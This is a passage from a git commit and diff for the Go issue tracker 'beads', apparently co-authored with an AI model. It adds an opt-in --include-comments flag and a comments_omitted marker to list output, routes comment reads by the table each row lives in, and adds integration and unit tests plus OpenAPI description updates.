inferring; the unit-of-work reader answers it from the wisps TABLE (IssueUseCase.GetWispsByIDs, the call edgeReader.ReadEdges already makes for the same question), once per page, inside the page's own read transaction. The store-backed seam passes SourceRoutesCommentPlanes because its source routes ids itself (DoltStore.GetIssueComments picks the table from isActiveWisp) and would buy a lookup for an argument it ignores. isWispPlane is deleted: nothing on this path infers a plane any more. A nil lookup is an error rather than a silent "durable", so a third seam has to answer the question rather than inherit the default this bug was. A MISSING WISPS TABLE STAYS "NO WISPS" rather than a failed listing, classified through the same two helpers the counts query that produced the page uses (dberrors.MissingTableName + sqlbuild.OptionalWispTable). Any other failure of the lookup fails the call: a guessed plane answers with the wrong table's contents and nothing in the response shows it. Tests. The unit table now asserts residence AGAINST the flags, with each row's comments present only on the plane it lives on, so a wrong-table read shows up as missing TEXT and not merely as a wrong flag in a recorded call. Restoring the flag inference reds exactly the two rows where flags and table disagree (durable-carrying-no_history, wisp-table-carrying-no-flags) and leaves the two agreeing rows green. The old `override_wins_over_flags` case is gone: WispPlaneOverride is `json:"-"` and set only by import, in memory, so no scanned row can carry it and that branch was unreachable on this path - which is what made the suite look sufficient (Codex's separate minor, folded in here as the same root cause). New seam-level tests drive the real uow Reader.List over both shapes, and pin that a listing without the flag resolves no planes at all, that a missing wisps table is tolerated, and that any other lookup failure propagates; emptying the residence answer reds the wisp-row leg. Also from the review, non-gating: - types.IssueWithCounts.CommentsOmitted and the OpenAPI property stated the marker rule unconditionally on a type Reader.Ready and the claim response also return, neither of which calls the epilogue. Both now scope the rule to the List surfaces and cite be-ozp, which is where the parent commit deliberately left the ready surfaces. (`bd ready --json` does not route through Reader.Ready; GET /v0/beads/ready and ClaimNextResponse.claimed do.) - GET /v0/beads/issues gained no `include_comments` parameter, so its description now says so and points at the detail read, in the idiom the `revision` paragraph above it already uses. - One internal/httpapi list test for the new wire field: the marker present for a commented row, absent for an uncommented one. It was asserted only by the spec file; the detail twin has get_issue_test.go. Neutering markCommentsOmitted reds it. Validation: go build ./...; go vet over the changed packages and again with CGO_ENABLED=0; make api-check clean, so the spec edits oblige no regeneration; go test ./internal/workapi/... ./issueops/... ./internal/types/; TestBothReaderImplementationsAgreeOnTheListEpilogue plus the new plane tests in ./internal/storage/uow/; BEADS_TEST_PROXIED_SERVER=1 TestProxiedServerListComments 3 PASS and BEADS_TEST_EMBEDDED_DOLT=1 TestEmbeddedListComments 4 PASS. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/list.go | 14 + cmd/bd/list_comments_embedded_test.go | 158 +++++++ .../list_comments_proxied_integration_test.go | 113 +++++ cmd/bd/list_input.go | 1 + cmd/bd/list_proxied_server.go | 2 + .../httpapi/list_comments_omitted_test.go | 55 +++ internal/httpapi/spec/openapi.v0.yaml | 36 ++ internal/storage/uow/issue_reader.go | 49 ++ .../storage/uow/list_comments_plane_test.go | 251 ++++++++++ internal/types/types.go | 28 ++ internal/workapi/detail.go | 6 +- internal/workapi/list_comments.go | 210 +++++++++ internal/workapi/list_comments_test.go | 440 ++++++++++++++++++ internal/workapi/storereader/reader.go | 11 + issueops/reader.go | 28 ++ 15 files changed, 1401 insertions(+), 1 deletion(-) create mode 100644 cmd/bd/list_comments_embedded_test.go create mode 100644 cmd/bd/list_comments_proxied_integration_test.go create mode 100644 internal/httpapi/list_comments_omitted_test.go create mode 100644 internal/storage/uow/list_comments_plane_test.go create mode 100644 internal/workapi/list_comments.go create mode 100644 internal/workapi/list_comments_test.go diff --git a/cmd/bd/list.go b/cmd/bd/list.go index 3542920d4..ca75bcf27 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -296,6 +296,10 @@ func runListCore(cmd *cobra.Command, _ []string) error { // for three aggregate joins on the most-run command in the tree. textRequest := in.ListRequest textRequest.SkipCounts = true + // No text rendering prints a comment body, so the per-row comment reads are + // not merely unused here, they are unpayable: SkipCounts above already + // zeroes the count this hydration would key on. + textRequest.IncludeComments = false page, err := reader.List(ctx, textRequest) if err != nil { if capErr := handleMaxRowsError(err); capErr != nil { @@ -453,6 +457,16 @@ func init() { // Projection toggle. Like --skip-labels it trades data for bytes, and // unlike it the dropped fields leave a mark on the row (IsLitePartial). + // Hydration toggle, the list twin of `bd show --include-comments`. Like + // --skip-labels and --brief it changes what is HYDRATED and never which + // rows match. It costs a query per row that has comments, which is why it + // is opt-in on the most-run command in the tree. + listCmd.Flags().Bool("include-comments", false, + "Populate each row's comments field with full comment bodies in JSON output "+ + "(--json only; costs one query per row that has comments). Without it, a row "+ + "with comments carries comments_omitted=true, so an absent comments field is "+ + "never mistaken for having none. Text output is unaffected either way.") + listCmd.Flags().Bool("brief", false, "Omit the free-form text (description, design, acceptance criteria, notes, "+ "payload, waiters) from each row. Filters that read those fields, such as "+ diff --git a/cmd/bd/list_comments_embedded_test.go b/cmd/bd/list_comments_embedded_test.go new file mode 100644 index 000000000..c1b105495 --- /dev/null +++ b/cmd/bd/list_comments_embedded_test.go @@ -0,0 +1,158 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "strings" + "testing" +) + +// TestEmbeddedListComments drives `bd list --json` end to end, which is the +// entry point be-73x is about: the town-wide duplicate/prior-art search this +// repo's consumers run is a `bd list --json` piped to jq, and until this +// change it could not see a comment body at all. +// +// IT RUNS THE REAL COMMAND ON PURPOSE. internal/workapi's unit tests cover the +// same hydration against a fake source with rows the test builds itself, and a +// fixture a test constructs proves what the test constructed. The rows here +// are produced by `bd create` and `bd comment` and read back by `bd list`, so +// a hydration wired to the wrong reader, a flag that never reaches the +// request, or a marshaling tag that drops the field all fail here and none of +// them fail upstairs. +func TestEmbeddedListComments(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "lc") + + // The phrase lives ONLY in a comment. That is the whole point: title, + // description and notes are the fields a listing already carried, so a + // term found in any of them would pass with or without this change. + const commentOnlyPhrase = "zzzcommentonlyphrasezzz" + + commented := bdCreate(t, bd, dir, "Row with comments", "--type", "task") + bare := bdCreate(t, bd, dir, "Row with no comments", "--type", "task") + + if out, err := bdRunWithFlockRetry(t, bd, dir, "comment", commented.ID, "ROOT CAUSE: "+commentOnlyPhrase); err != nil { + t.Fatalf("bd comment: %v\n%s", err, out) + } + if out, err := bdRunWithFlockRetry(t, bd, dir, "comment", commented.ID, "second comment"); err != nil { + t.Fatalf("bd comment: %v\n%s", err, out) + } + + rowsByID := func(t *testing.T, args ...string) map[string]map[string]any { + t.Helper() + out, err := bdRunWithFlockRetry(t, bd, dir, append([]string{"list", "--json", "--status", "all"}, args...)...) + if err != nil { + t.Fatalf("bd list --json %s: %v\n%s", strings.Join(args, " "), err, out) + } + s := string(out) + start := strings.Index(s, "[") + if start < 0 { + t.Fatalf("no JSON array in list output:\n%s", s) + } + var rows []map[string]any + if err := json.Unmarshal([]byte(s[start:]), &rows); err != nil { + t.Fatalf("parse list JSON: %v\n%s", err, s[start:]) + } + byID := make(map[string]map[string]any, len(rows)) + for _, r := range rows { + id, _ := r["id"].(string) + byID[id] = r + } + // A denominator, so a vacuous pass is visible: every assertion below + // reads a specific row, and a page that lost the rows would otherwise + // look like a page that merely lacks the field. + if len(byID) < 2 { + t.Fatalf("list returned %d rows, want at least the 2 seeded", len(byID)) + } + return byID + } + + t.Run("default_marks_the_hole_instead_of_hiding_it", func(t *testing.T) { + byID := rowsByID(t) + + row := byID[commented.ID] + if _, present := row["comments"]; present { + t.Error("default listing carried a comments field; comment bodies are opt-in") + } + if omitted, _ := row["comments_omitted"].(bool); !omitted { + t.Errorf("comments_omitted = %v on a row with comments, want true: an absent comments field must not read as none", row["comments_omitted"]) + } + if count, _ := row["comment_count"].(float64); count != 2 { + t.Errorf("comment_count = %v, want 2", row["comment_count"]) + } + + // The control. A marker on every row would carry no information. + if _, present := byID[bare.ID]["comments_omitted"]; present { + t.Errorf("comments_omitted present on a row with no comments: a true empty stays plain omission") + } + }) + + t.Run("include_comments_makes_the_bodies_searchable", func(t *testing.T) { + byID := rowsByID(t, "--include-comments") + + row := byID[commented.ID] + comments, _ := row["comments"].([]any) + if len(comments) != 2 { + t.Fatalf("hydrated %d comments, want 2: %v", len(comments), row["comments"]) + } + // Assert on the TEXT, not the length. The defect was that the bodies + // were unreachable, and a count cannot tell a populated slice from a + // slice of empty ones. + var joined strings.Builder + for _, c := range comments { + m, _ := c.(map[string]any) + text, _ := m["text"].(string) + joined.WriteString(text) + } + if !strings.Contains(joined.String(), commentOnlyPhrase) { + t.Errorf("hydrated comment text %q does not contain %q", joined.String(), commentOnlyPhrase) + } + if _, present := row["comments_omitted"]; present { + t.Error("comments_omitted present beside populated comments: the two fields must read as one answer") + } + if _, present := byID[bare.ID]["comments"]; present { + t.Error("a row with no comments carried a comments field") + } + }) + + // The acceptance test as an agent actually runs it: grep the serialized + // page for a phrase that exists only in a comment. This is the assertion + // that fails on today's binary, and it fails with a plausible non-zero + // hit count elsewhere in the page rather than with an error, which is why + // it is worth pinning rather than trusting the field checks above. + t.Run("a_content_search_over_the_page_finds_a_comment_only_phrase", func(t *testing.T) { + withoutFlag, err := bdRunWithFlockRetry(t, bd, dir, "list", "--json", "--status", "all") + if err != nil { + t.Fatalf("bd list --json: %v\n%s", err, withoutFlag) + } + if strings.Contains(string(withoutFlag), commentOnlyPhrase) { + t.Error("default listing leaked comment text; bodies are supposed to be opt-in") + } + + withFlag, err := bdRunWithFlockRetry(t, bd, dir, "list", "--json", "--status", "all", "--include-comments") + if err != nil { + t.Fatalf("bd list --json --include-comments: %v\n%s", err, withFlag) + } + if !strings.Contains(string(withFlag), commentOnlyPhrase) { + t.Errorf("a search over the whole page missed a phrase that exists only in a comment; this is be-73x") + } + }) + + t.Run("text_output_is_untouched", func(t *testing.T) { + plain := bdList(t, bd, dir, "--status", "all") + withFlag := bdList(t, bd, dir, "--status", "all", "--include-comments") + if plain != withFlag { + t.Errorf("--include-comments changed text output.\nwithout:\n%s\nwith:\n%s", plain, withFlag) + } + if strings.Contains(withFlag, commentOnlyPhrase) { + t.Error("text listing printed a comment body") + } + }) +} diff --git a/cmd/bd/list_comments_proxied_integration_test.go b/cmd/bd/list_comments_proxied_integration_test.go new file mode 100644 index 000000000..ad0a16318 --- /dev/null +++ b/cmd/bd/list_comments_proxied_integration_test.go @@ -0,0 +1,113 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "strings" + "testing" +) + +// TestProxiedServerListComments is the second half of the be-73x coverage, and +// it exists because the fix has TWO implementations rather than one. +// +// `bd list --json` reaches issueops.Reader.List through the store-backed +// reader on the direct route and through the unit-of-work reader here. Those +// are separate bodies, and this repo has already had them answer one contract +// method differently (see the epilogue comments in both). The embedded test +// covers the first; removing the wiring from the second changes nothing there +// and everything here, so a green suite without this case would say the fix +// landed when half of it had not. +// +// The wisp-plane argument is also live only on this seam: the store-backed +// detail source routes an id to the right comment table itself and ignores the +// flag, while this one is told. +func TestProxiedServerListComments(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "plc") + + const commentOnlyPhrase = "zzzproxiedcommentphrasezzz" + + commented := bdProxiedCreate(t, bd, p.dir, "Proxied row with comments", "--type", "task") + bare := bdProxiedCreate(t, bd, p.dir, "Proxied row with no comments", "--type", "task") + + if out, err := bdProxiedRun(t, bd, p.dir, "comment", commented.ID, "ROOT CAUSE: "+commentOnlyPhrase); err != nil { + t.Fatalf("bd comment: %v\n%s", err, out) + } + + rowsByID := func(t *testing.T, args ...string) map[string]map[string]any { + t.Helper() + full := append([]string{"list", "--json", "--status", "all"}, args...) + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, full...) + if err != nil { + t.Fatalf("bd list --json %s: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), err, stdout, stderr) + } + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("no JSON array in list output:\n%s", stdout) + } + var rows []map[string]any + if err := json.Unmarshal([]byte(stdout[start:]), &rows); err != nil { + t.Fatalf("parse list JSON: %v\n%s", err, stdout[start:]) + } + byID := make(map[string]map[string]any, len(rows)) + for _, r := range rows { + id, _ := r["id"].(string) + byID[id] = r + } + // The denominator, so a page that lost its rows cannot pass as a page + // that merely lacks the field. + if len(byID) < 2 { + t.Fatalf("list returned %d rows, want at least the 2 seeded", len(byID)) + } + return byID + } + + t.Run("default_marks_the_hole", func(t *testing.T) { + byID := rowsByID(t) + if omitted, _ := byID[commented.ID]["comments_omitted"].(bool); !omitted { + t.Errorf("comments_omitted = %v on a row with comments, want true", byID[commented.ID]["comments_omitted"]) + } + if _, present := byID[commented.ID]["comments"]; present { + t.Error("default listing carried comment bodies; they are opt-in") + } + if _, present := byID[bare.ID]["comments_omitted"]; present { + t.Error("comments_omitted present on a row with no comments") + } + }) + + t.Run("include_comments_hydrates_through_the_unit_of_work_reader", func(t *testing.T) { + byID := rowsByID(t, "--include-comments") + comments, _ := byID[commented.ID]["comments"].([]any) + if len(comments) != 1 { + t.Fatalf("hydrated %d comments, want 1: %v", len(comments), byID[commented.ID]["comments"]) + } + m, _ := comments[0].(map[string]any) + text, _ := m["text"].(string) + if !strings.Contains(text, commentOnlyPhrase) { + t.Errorf("comment text = %q, want it to contain %q", text, commentOnlyPhrase) + } + if _, present := byID[commented.ID]["comments_omitted"]; present { + t.Error("comments_omitted present beside populated comments") + } + }) + + t.Run("a_content_search_over_the_page_finds_a_comment_only_phrase", func(t *testing.T) { + without, _, err := bdProxiedRunBuffers(t, bd, p.dir, "list", "--json", "--status", "all") + if err != nil { + t.Fatalf("bd list --json: %v", err) + } + if strings.Contains(without, commentOnlyPhrase) { + t.Error("default listing leaked comment text") + } + with, _, err := bdProxiedRunBuffers(t, bd, p.dir, "list", "--json", "--status", "all", "--include-comments") + if err != nil { + t.Fatalf("bd list --json --include-comments: %v", err) + } + if !strings.Contains(with, commentOnlyPhrase) { + t.Error("a search over the whole page missed a comment-only phrase on the proxied route; this is be-73x") + } + }) +} diff --git a/cmd/bd/list_input.go b/cmd/bd/list_input.go index 9ffac554e..fa867ce88 100644 --- a/cmd/bd/list_input.go +++ b/cmd/bd/list_input.go @@ -101,6 +101,7 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { in.NoLabels, _ = cmd.Flags().GetBool("no-labels") in.Brief, _ = cmd.Flags().GetBool("brief") + in.IncludeComments, _ = cmd.Flags().GetBool("include-comments") in.SkipLabels, _ = cmd.Flags().GetBool("skip-labels") if in.SkipLabels { conflicts := skipLabelsConflicts(in.Labels, in.LabelsAny, in.LabelPattern, in.LabelRegex, in.ExcludeLabels, in.NoLabels) diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index c0f790b59..d4bb38858 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -101,6 +101,8 @@ func runListProxiedPage(ctx context.Context, out io.Writer, in listInput) error // none. textRequest := in.ListRequest textRequest.SkipCounts = true + // And no comment hydration, for the reason the direct route drops it. + textRequest.IncludeComments = false page, err := rd.List(ctx, textRequest) if err != nil { return err diff --git a/internal/httpapi/list_comments_omitted_test.go b/internal/httpapi/list_comments_omitted_test.go new file mode 100644 index 000000000..6e7815115 --- /dev/null +++ b/internal/httpapi/list_comments_omitted_test.go @@ -0,0 +1,55 @@ +package httpapi + +import ( + "net/http" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestListRowsSayWhenCommentTextIsMissing is the HTTP half of be-73x's marker. +// +// `GET /v0/beads/issues` hydrates no comment bodies, so on this surface the +// marker IS the answer: it is the only thing that tells a caller whether an +// absent `comments` key means "this issue has none" or "this response does not +// carry them". The detail route's twin is pinned in get_issue_test.go; nothing +// asserted the list route's wire shape, which is the one route the field was +// added for. +// +// Driven through the server rather than over the epilogue directly, because the +// property at risk here is the SERIALIZATION: the marker rides a *bool with +// omitempty on the shared interchange struct, so a row that was never marked +// and a row marked false are both "absent", and only a response body shows +// which absence a client sees. +func TestListRowsSayWhenCommentTextIsMissing(t *testing.T) { + ts, rec := newReadServer(t, Config{}) + rec.items = []*types.IssueWithCounts{ + {Issue: &types.Issue{ID: "bd-1", Title: "has comments"}, CommentCount: 2}, + {Issue: &types.Issue{ID: "bd-2", Title: "has none"}, CommentCount: 0}, + } + + resp := ts.get(t, "/v0/beads/issues") + if resp.StatusCode != http.StatusOK { + t.Fatalf("GET /v0/beads/issues: status = %d, want 200", resp.StatusCode) + } + body := decodeBody(t, resp) + items, _ := body["items"].([]any) + if len(items) != 2 { + t.Fatalf("items = %v, want the two rows the fixture serves", body["items"]) + } + + withComments, _ := items[0].(map[string]any) + if got, ok := withComments["comments_omitted"]; !ok || got != true { + t.Errorf("comments_omitted = %v (present %v) on a row with comment_count 2, want true: an absent key would read as \"no comments\"", got, ok) + } + if _, ok := withComments["comments"]; ok { + t.Errorf("the list route sent `comments`, which it never hydrates: %v", withComments["comments"]) + } + + // The zero-count row is the control, and it is what makes the marker + // informative: if every row carried it, it would say nothing about any row. + withoutComments, _ := items[1].(map[string]any) + if got, ok := withoutComments["comments_omitted"]; ok { + t.Errorf("comments_omitted = %v on a row with no comments, want the key absent", got) + } +} diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 953206fec..be43c5df4 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -1098,6 +1098,20 @@ paths: token here (a legacy row backfilled and not mutated since), so a client that defaulted a missing `revision` to 0 would compose guards that match exactly the rows it is most dangerous to be wrong about. + + + THE ROWS CARRY NO COMMENT BODIES, AND THE DETAIL READ DOES. This + operation has no `include_comments`: `comments` is always absent here + and `comments_omitted` is how a row says that its comment text exists + and was not sent, so a caller reads the bodies it wants one detail read + each (`GET /v0/beads/issues/{id}?include_comments=true`), as it does for + `revision` above. `bd list --include-comments` hydrates a whole page + because a CLI listing is one command's whole answer; the cost is a query + per commented row, which is a choice a local invocation makes for itself + and a served endpoint should not make on a caller's behalf by default. + Growing the parameter here is a later revision's call, and until it + happens the marker is this operation's answer rather than a hole it + cannot describe. parameters: - name: status in: query @@ -6465,6 +6479,11 @@ components: items: { $ref: '#/components/schemas/Dependency' } comments: type: array + description: >- + The issue's comment bodies. On a listing they are populated only + when the caller opts in (`bd list --include-comments`); absent + otherwise, which is what `comment_count` and `comments_omitted` + report about. items: { $ref: '#/components/schemas/Comment' } sender: { type: string } ephemeral: { type: boolean } @@ -6497,6 +6516,23 @@ components: description: Number of issues that depend on this one. comment_count: type: integer + comments_omitted: + type: boolean + description: >- + True when `comment_count` is nonzero and `comments` was left out — + every such row of a LIST response (`GET /v0/beads/issues`, and `bd + list --json` without `--include-comments`). Without it, an absent + `comments` key is ambiguous between "no comments" and "comments not + included in this response", and on a listing that ambiguity is what + makes a content search over the page answer with a plausible + non-empty result whose matching rows are missing. + + + IT IS SET BY THE LIST SURFACES ONLY. `GET /v0/beads/ready` and the + claim response carry this same schema and do not set it, so an + absent marker there says nothing about whether a row's comments + exist — read `comment_count`. Extending the marker to them is + tracked as be-ozp. parent: type: string description: Parent issue id, computed from the parent-child edge. diff --git a/internal/storage/uow/issue_reader.go b/internal/storage/uow/issue_reader.go index c600114d9..5f9bcc147 100644 --- a/internal/storage/uow/issue_reader.go +++ b/internal/storage/uow/issue_reader.go @@ -4,7 +4,9 @@ import ( "context" "fmt" + "github.com/steveyegge/beads/internal/storage/dberrors" "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/sqlbuild" "github.com/steveyegge/beads/internal/workapi" publicops "github.com/steveyegge/beads/issueops" ) @@ -131,10 +133,57 @@ func (r *issueReader) List(ctx context.Context, req publicops.ListRequest) (publ // between this implementation and its store-backed sibling, and it is // an argument to the shared function rather than a second copy of it. items, hasMore := workapi.FinishPageAt(page.Items, req.SortBy, req.Reverse, req.Offset, workapi.PageLimit(req), page.HasMore) + // The same shared hydration step the store-backed sibling runs, through + // the same function and after the same trim. This seam's detail source + // is the one that needs the wisp plane told to it, and the plane it is + // told is the TABLE THE ROW IS IN, resolved here in the page's own + // transaction — never the row's flags, which a durable row can carry + // wrongly (see workapi.CommentPlanes). + newComments := func() workapi.CommentStreamer { return workapi.NewUOWDetailSource(uw) } + planes := func(ctx context.Context, ids []string) (map[string]bool, error) { + return wispPlanesByResidence(ctx, uw, ids) + } + if err := workapi.HydrateListComments(ctx, newComments, planes, items, req.IncludeComments, !req.SkipCounts); err != nil { + return publicops.IssuePage{}, err + } return publicops.IssuePage{Items: items, HasMore: hasMore}, nil }) } +// wispPlanesByResidence reports which of ids live in the WISPS TABLE, which is +// what decides where their comments are. +// +// It is the page-sized form of the question workapi.GetIssueOrWisp answers one +// id at a time behind Reader.Get and behind commenter.AddComment: residence, +// not the row's Ephemeral/NoHistory flags, which `bd import` can leave pointing +// at the other plane (workapi.CommentPlanes says how, and what the listing +// answered before this resolved by table). GetWispsByIDs is the use-case call +// edgeReader.ReadEdges already makes to answer the same question, so this adds +// a caller rather than a mechanism, and one query serves the whole page. +// +// A MISSING WISPS TABLE MEANS NO WISPS, not a failed listing: the table is in +// the optional set every wisp query treats that way +// (sqlbuild.OptionalWispTable), the counts query that produced this page merged +// wisps under the same tolerance, and the store-backed seam's own router +// answers "durable" for it (DoltStore.wispExists). Erroring here would make +// `bd list --include-comments` the one read that cannot run on such a database. +func wispPlanesByResidence(ctx context.Context, uw UnitOfWork, ids []string) (map[string]bool, error) { + wisps, err := uw.IssueUseCase().GetWispsByIDs(ctx, ids) + if err != nil { + if name, ok := dberrors.MissingTableName(err); ok && sqlbuild.OptionalWispTable(name) { + return nil, nil + } + return nil, err + } + planes := make(map[string]bool, len(wisps)) + for _, wisp := range wisps { + if wisp != nil { + planes[wisp.ID] = true + } + } + return planes, nil +} + func (r *issueReader) Get(ctx context.Context, req publicops.GetRequest) (*publicops.IssueDetails, error) { return RunTxRead(ctx, r.provider, func(ctx context.Context, uw UnitOfWork) (*publicops.IssueDetails, error) { src := workapi.NewUOWDetailSource(uw) diff --git a/internal/storage/uow/list_comments_plane_test.go b/internal/storage/uow/list_comments_plane_test.go new file mode 100644 index 000000000..f05bb0d16 --- /dev/null +++ b/internal/storage/uow/list_comments_plane_test.go @@ -0,0 +1,251 @@ +package uow + +import ( + "context" + "errors" + "fmt" + "slices" + "testing" + + mysql "github.com/go-sql-driver/mysql" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// The unit-of-work seam is the one whose comment source has to be TOLD which +// table to read — the store-backed sibling's source routes an id itself — so it +// is the one where a wrong answer is a silent wrong-table read. These tests +// drive the real Reader.List with --include-comments and assert the comment +// BODIES arrive, because the failure they cover produced an empty comments array +// beside a nonzero comment_count rather than an error or a visibly wrong row. +// +// The rows are the two shapes where a row's flags and its table disagree, and +// both are states the tree maintains on purpose: `bd import` pins a no_history +// record to the durable table while preserving the flag (clearing it would +// change the content hash and break export→import→export byte-identity), and +// pins a wisp_plane record to the wisps table without setting either flag. See +// workapi.CommentPlanes. + +// planeIssues serves one page and answers the residence question from the +// wisps-table membership the test declares, which is what +// IssueUseCase.GetWispsByIDs answers from a real database. +type planeIssues struct { + domain.IssueUseCase + rows []*types.IssueWithCounts + inWisps map[string]*types.Issue + wispErr error + asked [][]string +} + +func (f *planeIssues) SearchIssuesWithCounts(context.Context, string, types.IssueFilter) (domain.SearchCountsPage, error) { + return domain.SearchCountsPage{Items: f.rows}, nil +} + +func (f *planeIssues) GetWispsByIDs(_ context.Context, ids []string) ([]*types.Issue, error) { + f.asked = append(f.asked, ids) + if f.wispErr != nil { + return nil, f.wispErr + } + out := make([]*types.Issue, 0, len(ids)) + for _, id := range ids { + if wisp, ok := f.inWisps[id]; ok { + out = append(out, wisp) + } + } + return out, nil +} + +// planeComments keeps each plane's comments in its own map, the way the two +// comment tables do, so a read of the wrong one comes back empty here exactly as +// it does against a database. +type planeComments struct { + domain.CommentUseCase + issueComments map[string][]*types.Comment + wispComments map[string][]*types.Comment +} + +func (f planeComments) IterCommentsForIssue(_ context.Context, id string) (storage.Iter[types.Comment], error) { + return storage.NewSliceIter(f.issueComments[id]), nil +} + +func (f planeComments) IterCommentsForWisp(_ context.Context, id string) (storage.Iter[types.Comment], error) { + return storage.NewSliceIter(f.wispComments[id]), nil +} + +func planeReader(t *testing.T, issues *planeIssues, comments domain.CommentUseCase) publicops.Reader { + t.Helper() + uw := &mockUnitOfWork{issueUseCase: issues, configUseCase: readerConfig{}, commentUseCase: comments} + reader, err := NewIssueReader(&mockUnitOfWorkProvider{uows: []*mockUnitOfWork{uw}}) + if err != nil { + t.Fatalf("NewIssueReader: %v", err) + } + return reader +} + +func commentTexts(item *types.IssueWithCounts) []string { + out := make([]string, 0, len(item.Comments)) + for _, c := range item.Comments { + out = append(out, c.Text) + } + return out +} + +// TestListHydratesCommentsFromTheRowsTableNotItsFlags is the seam-level +// regression for the row class this reader used to answer with content-free +// rows: a durable bead that still carries no_history, listed with +// --include-comments, whose comments `bd comment` wrote to the ISSUES table and +// `bd show` reads from there. Routing by the flag sent the list read to +// wisp_comments, where the row has nothing, and the page came back asserting one +// comment, carrying none, and flagging nothing. +func TestListHydratesCommentsFromTheRowsTableNotItsFlags(t *testing.T) { + issues := &planeIssues{ + rows: []*types.IssueWithCounts{ + {Issue: &types.Issue{ID: "bd-1", Title: "import-pinned", NoHistory: true}, CommentCount: 1}, + }, + inWisps: map[string]*types.Issue{}, + } + comments := planeComments{ + issueComments: map[string][]*types.Comment{"bd-1": {{ID: "c1", Text: "zzzuniquephrase"}}}, + // Nothing on the wisp plane: the table the flag points at is empty for + // this id, which is why the defect was silent rather than wrong. + wispComments: map[string][]*types.Comment{}, + } + reader := planeReader(t, issues, comments) + + page, err := reader.List(context.Background(), publicops.ListRequest{IncludeComments: true}) + if err != nil { + t.Fatalf("List: %v", err) + } + + if len(page.Items) != 1 { + t.Fatalf("page has %d rows, want 1", len(page.Items)) + } + if got := commentTexts(page.Items[0]); !slices.Equal(got, []string{"zzzuniquephrase"}) { + t.Errorf("comments = %v, want [zzzuniquephrase]: the row lives in the issues table, whatever its no_history flag says", got) + } + if page.Items[0].CommentsOmitted != nil { + t.Errorf("CommentsOmitted = %v on a hydrated row, want unset", *page.Items[0].CommentsOmitted) + } + if len(issues.asked) != 1 || !slices.Equal(issues.asked[0], []string{"bd-1"}) { + t.Errorf("resolved residence with %v, want one lookup for [bd-1]: the plane is a query, not a guess", issues.asked) + } +} + +// TestListHydratesCommentsForAWispTableRowWithNoFlags is the mirror, and the one +// no flag-based rule can get right either: a row the import pinned to the WISPS +// table with neither plane flag set. Its comments are in wisp_comments and the +// flags point at the durable table. +func TestListHydratesCommentsForAWispTableRowWithNoFlags(t *testing.T) { + issues := &planeIssues{ + rows: []*types.IssueWithCounts{ + {Issue: &types.Issue{ID: "bd-2", Title: "plane-pinned"}, CommentCount: 1}, + }, + inWisps: map[string]*types.Issue{"bd-2": {ID: "bd-2"}}, + } + comments := planeComments{ + issueComments: map[string][]*types.Comment{}, + wispComments: map[string][]*types.Comment{"bd-2": {{ID: "c1", Text: "zzzuniquephrase"}}}, + } + reader := planeReader(t, issues, comments) + + page, err := reader.List(context.Background(), publicops.ListRequest{IncludeComments: true}) + if err != nil { + t.Fatalf("List: %v", err) + } + + if len(page.Items) != 1 { + t.Fatalf("page has %d rows, want 1", len(page.Items)) + } + if got := commentTexts(page.Items[0]); !slices.Equal(got, []string{"zzzuniquephrase"}) { + t.Errorf("comments = %v, want [zzzuniquephrase]: the row is in the wisps table, whatever its flags say", got) + } +} + +// TestListResolvesNoPlanesWithoutIncludeComments pins that the default listing — +// which is every `bd list` that does not pass the flag — pays nothing for the +// routing query. The marker path routes no read, so it asks no table where +// anything lives. +func TestListResolvesNoPlanesWithoutIncludeComments(t *testing.T) { + issues := &planeIssues{ + rows: []*types.IssueWithCounts{ + {Issue: &types.Issue{ID: "bd-1", NoHistory: true}, CommentCount: 1}, + }, + inWisps: map[string]*types.Issue{}, + } + reader := planeReader(t, issues, planeComments{}) + + page, err := reader.List(context.Background(), publicops.ListRequest{}) + if err != nil { + t.Fatalf("List: %v", err) + } + + if len(issues.asked) != 0 { + t.Errorf("resolved residence %d times on a listing that asked for no comments, want 0", len(issues.asked)) + } + if page.Items[0].CommentsOmitted == nil || !*page.Items[0].CommentsOmitted { + t.Errorf("CommentsOmitted = %v, want true: the default listing still says the text is missing", page.Items[0].CommentsOmitted) + } +} + +// TestListToleratesAMissingWispsTable keeps `bd list --include-comments` working +// on a database that has no wisps table at all. That table is in the optional set +// every wisp query treats as "no wisps" (sqlbuild.OptionalWispTable) — the counts +// query that produced the page merged wisps under the same tolerance, and the +// store-backed seam's router answers "durable" for it — so a listing must not be +// the one read that cannot run there. +// +// The fixture error is the one this seam receives: a missing table arrives from +// the server as MySQL 1146, and the table it names is what +// dberrors.MissingTableName reads. Classifying it through those two shared +// helpers rather than a local string check is what keeps this tolerance the SAME +// tolerance the counts query already applies. +func TestListToleratesAMissingWispsTable(t *testing.T) { + issues := &planeIssues{ + rows: []*types.IssueWithCounts{ + {Issue: &types.Issue{ID: "bd-1", NoHistory: true}, CommentCount: 1}, + }, + wispErr: fmt.Errorf("getByIDs: %w", &mysql.MySQLError{Number: 1146, Message: "table not found: wisps"}), + } + 